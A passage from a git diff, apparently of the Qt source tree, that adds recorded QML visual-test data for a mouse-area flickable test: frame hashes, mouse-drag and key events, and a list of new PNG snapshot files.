+ Frame {
+ msec: 11152
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11168
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Frame {
+ msec: 11184
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 310
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11200
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 311
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11216
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 312
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11232
+ hash: "90cdfe8920f115fd55cde6fdbd95e867"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 313
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 314
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11248
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 316
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 317
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11264
+ hash: "43fc85bb3b1501f5e12f1fedaaa14c64"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 319
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 321
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11280
+ hash: "a569789b082296415321ba11c859abe5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 324
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11296
+ hash: "7a5f69a1eecb5de0fc2295cd287eb449"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 326
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 327
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11312
+ hash: "70e522f64236dfa4e1613ffc29b4b23e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 330
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 332
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11328
+ hash: "8e05207e0d0d9d15a61a0d21d985a83a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 335
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 337
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11344
+ hash: "dc272fc8fc98d822a154da1d495d4f7e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 343
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 345
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11360
+ hash: "34ef0279e3731447f1df97784b47648a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 348
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 350
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11376
+ hash: "82f54d7e254edcf499ea12a63118e8a7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 352
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 355
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11392
+ hash: "6ef4abc294d928381346e8ff9b012475"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 357
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 359
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11408
+ hash: "7d2606d432858288dac019e0002ff85a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 361
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 363
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11424
+ hash: "3d75735eefbf95f37e2a8605b9167ba1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 365
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 367
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11440
+ hash: "c37507a29e3a6d80446ad68f2d92f266"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 369
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 371
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11456
+ hash: "b66571ae47bf129be88dc66785a81a7d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 373
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 375
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11472
+ hash: "7d03030f5a672d87aeabefdf4f3a39a4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 379
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11488
+ hash: "8ffbbed46737837e55383833b96d2624"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 381
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 383
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11504
+ hash: "aafb12a520eb443ee1348282f2c54e4a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 385
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 387
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11520
+ hash: "72e75cfa62993593303b25cbff4af0e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 389
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 392
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11536
+ image: "mousearea-flickable.12.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 394
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 396
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11552
+ hash: "1451addb43319318c794333cd1cec3fd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 398
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 399
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11568
+ hash: "929bf28dcb97e8c93dae5dbe23beecc8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 402
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11584
+ hash: "cb49adcd2c8afe27fd5926bd622added"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 404
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 406
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11600
+ hash: "d0b4215b43403c97d83250add6d2b6db"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 407
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 409
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11616
+ hash: "c0a569ee064d844835dddab11eadcd33"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 410
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11632
+ hash: "091d1ad7aba4b662cba98214c98a4707"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 411
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 412
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11648
+ hash: "52d45e8dde81fef5ee93bbd5a40d4851"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 414
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11664
+ hash: "ce673b66f695f5b002515a5416bbf913"
+ }
+ Frame {
+ msec: 11680
+ hash: "ce673b66f695f5b002515a5416bbf913"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 415
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11696
+ hash: "ce673b66f695f5b002515a5416bbf913"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 416
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11712
+ hash: "f334bfcc3af89bf1405762a215c54ea6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 417
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11728
+ hash: "f334bfcc3af89bf1405762a215c54ea6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 418
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11744
+ hash: "ee0523fe6a33b59871ad3b311ca0cbeb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 419
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11760
+ hash: "ee0523fe6a33b59871ad3b311ca0cbeb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 421
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11776
+ hash: "66f71641c7a607152f140428ab9621d6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 423
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11792
+ hash: "ddd3d8cb82e238358cdb16c1df7d27b7"
+ }
+ Frame {
+ msec: 11808
+ hash: "ddd3d8cb82e238358cdb16c1df7d27b7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 424
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11824
+ hash: "29ca97cc573d3a1fde65320b61678c60"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 425
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11840
+ hash: "29ca97cc573d3a1fde65320b61678c60"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 426
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11856
+ hash: "7b41d651ad46341859d0188db341ae10"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 428
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11872
+ hash: "6b236864b7d95bf9f76b8afd6ba78613"
+ }
+ Frame {
+ msec: 11888
+ hash: "6b236864b7d95bf9f76b8afd6ba78613"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 429
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11904
+ hash: "6b236864b7d95bf9f76b8afd6ba78613"
+ }
+ Frame {
+ msec: 11920
+ hash: "6b236864b7d95bf9f76b8afd6ba78613"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 430
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11936
+ hash: "95b57cd3dac3bce56674f2c4143f42d4"
+ }
+ Frame {
+ msec: 11952
+ hash: "95b57cd3dac3bce56674f2c4143f42d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 431
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11968
+ hash: "95b57cd3dac3bce56674f2c4143f42d4"
+ }
+ Frame {
+ msec: 11984
+ hash: "95b57cd3dac3bce56674f2c4143f42d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 432
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12000
+ hash: "021bda841eaefa76ce5e1c97150af6f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 433
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12016
+ hash: "021bda841eaefa76ce5e1c97150af6f6"
+ }
+ Frame {
+ msec: 12032
+ hash: "021bda841eaefa76ce5e1c97150af6f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 434
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12048
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12064
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12080
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12096
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12112
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 435
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12128
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12144
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12160
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12176
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12192
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 210; y: 435
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12208
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12224
+ hash: "b1ea82b880a2fc35bf1ed117d8ab21b0"
+ }
+ Frame {
+ msec: 12240
+ hash: "021bda841eaefa76ce5e1c97150af6f6"
+ }
+ Frame {
+ msec: 12256
+ hash: "6b236864b7d95bf9f76b8afd6ba78613"
+ }
+ Frame {
+ msec: 12272
+ hash: "ddd3d8cb82e238358cdb16c1df7d27b7"
+ }
+ Frame {
+ msec: 12288
+ hash: "f334bfcc3af89bf1405762a215c54ea6"
+ }
+ Frame {
+ msec: 12304
+ hash: "091d1ad7aba4b662cba98214c98a4707"
+ }
+ Frame {
+ msec: 12320
+ hash: "0b16e524cd5253d07aa9b5855967fa71"
+ }
+ Frame {
+ msec: 12336
+ hash: "1978cda418856b542d7c5a155b74f09c"
+ }
+ Frame {
+ msec: 12352
+ hash: "8ffbbed46737837e55383833b96d2624"
+ }
+ Frame {
+ msec: 12368
+ hash: "43e50f4d4d37373e26af0a5d3cb64c4c"
+ }
+ Frame {
+ msec: 12384
+ hash: "837deeb2a92648d830acf29e829ebb53"
+ }
+ Frame {
+ msec: 12400
+ hash: "34ef0279e3731447f1df97784b47648a"
+ }
+ Frame {
+ msec: 12416
+ hash: "dc272fc8fc98d822a154da1d495d4f7e"
+ }
+ Frame {
+ msec: 12432
+ hash: "8e05207e0d0d9d15a61a0d21d985a83a"
+ }
+ Frame {
+ msec: 12448
+ hash: "144eeb7c2a32cedb6ebba063501c9176"
+ }
+ Frame {
+ msec: 12464
+ hash: "7a5f69a1eecb5de0fc2295cd287eb449"
+ }
+ Frame {
+ msec: 12480
+ hash: "86b32befe0dada5bdce82a7dd14777ce"
+ }
+ Frame {
+ msec: 12496
+ image: "mousearea-flickable.13.png"
+ }
+ Frame {
+ msec: 12512
+ hash: "9f9f85d5f879b0e52ebc751d6668cfb8"
+ }
+ Frame {
+ msec: 12528
+ hash: "43fc85bb3b1501f5e12f1fedaaa14c64"
+ }
+ Frame {
+ msec: 12544
+ hash: "43fc85bb3b1501f5e12f1fedaaa14c64"
+ }
+ Frame {
+ msec: 12560
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 12576
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 12592
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 12608
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 12624
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12640
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12656
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12672
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12688
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12704
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12720
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12736
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12752
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12768
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12784
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12800
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12816
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12832
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12848
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12864
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12880
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12896
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12912
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12928
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12944
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12960
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12976
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 12992
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13008
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13024
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13040
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13056
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13072
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13088
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13104
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13120
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13136
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13152
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13168
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13184
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13200
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13216
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13232
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13248
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13264
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13280
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13296
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13312
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13328
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13344
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13360
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Key {
+ type: 6
+ key: 16777251
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 13376
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13392
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13408
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13424
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13440
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13456
+ image: "mousearea-flickable.14.png"
+ }
+ Frame {
+ msec: 13472
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13488
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 13504
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.0.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.0.png
new file mode 100644
index 00000000..e2e90d2b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.1.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.1.png
new file mode 100644
index 00000000..e2e90d2b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.10.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.10.png
new file mode 100644
index 00000000..93cf54c7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.11.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.11.png
new file mode 100644
index 00000000..93cf54c7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.11.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.12.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.12.png
new file mode 100644
index 00000000..93cf54c7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.12.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.13.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.13.png
new file mode 100644
index 00000000..93cf54c7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.13.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.14.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.14.png
new file mode 100644
index 00000000..93cf54c7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.14.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.15.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.15.png
new file mode 100644
index 00000000..93cf54c7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.15.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.2.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.2.png
new file mode 100644
index 00000000..25facec9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.3.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.3.png
new file mode 100644
index 00000000..25facec9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.4.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.4.png
new file mode 100644
index 00000000..25facec9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.5.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.5.png
new file mode 100644
index 00000000..630b14aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.6.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.6.png
new file mode 100644
index 00000000..630b14aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.7.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.7.png
new file mode 100644
index 00000000..630b14aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.8.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.8.png
new file mode 100644
index 00000000..630b14aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.9.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-visual.9.png
new file mode 100644
index 00000000..93cf54c7
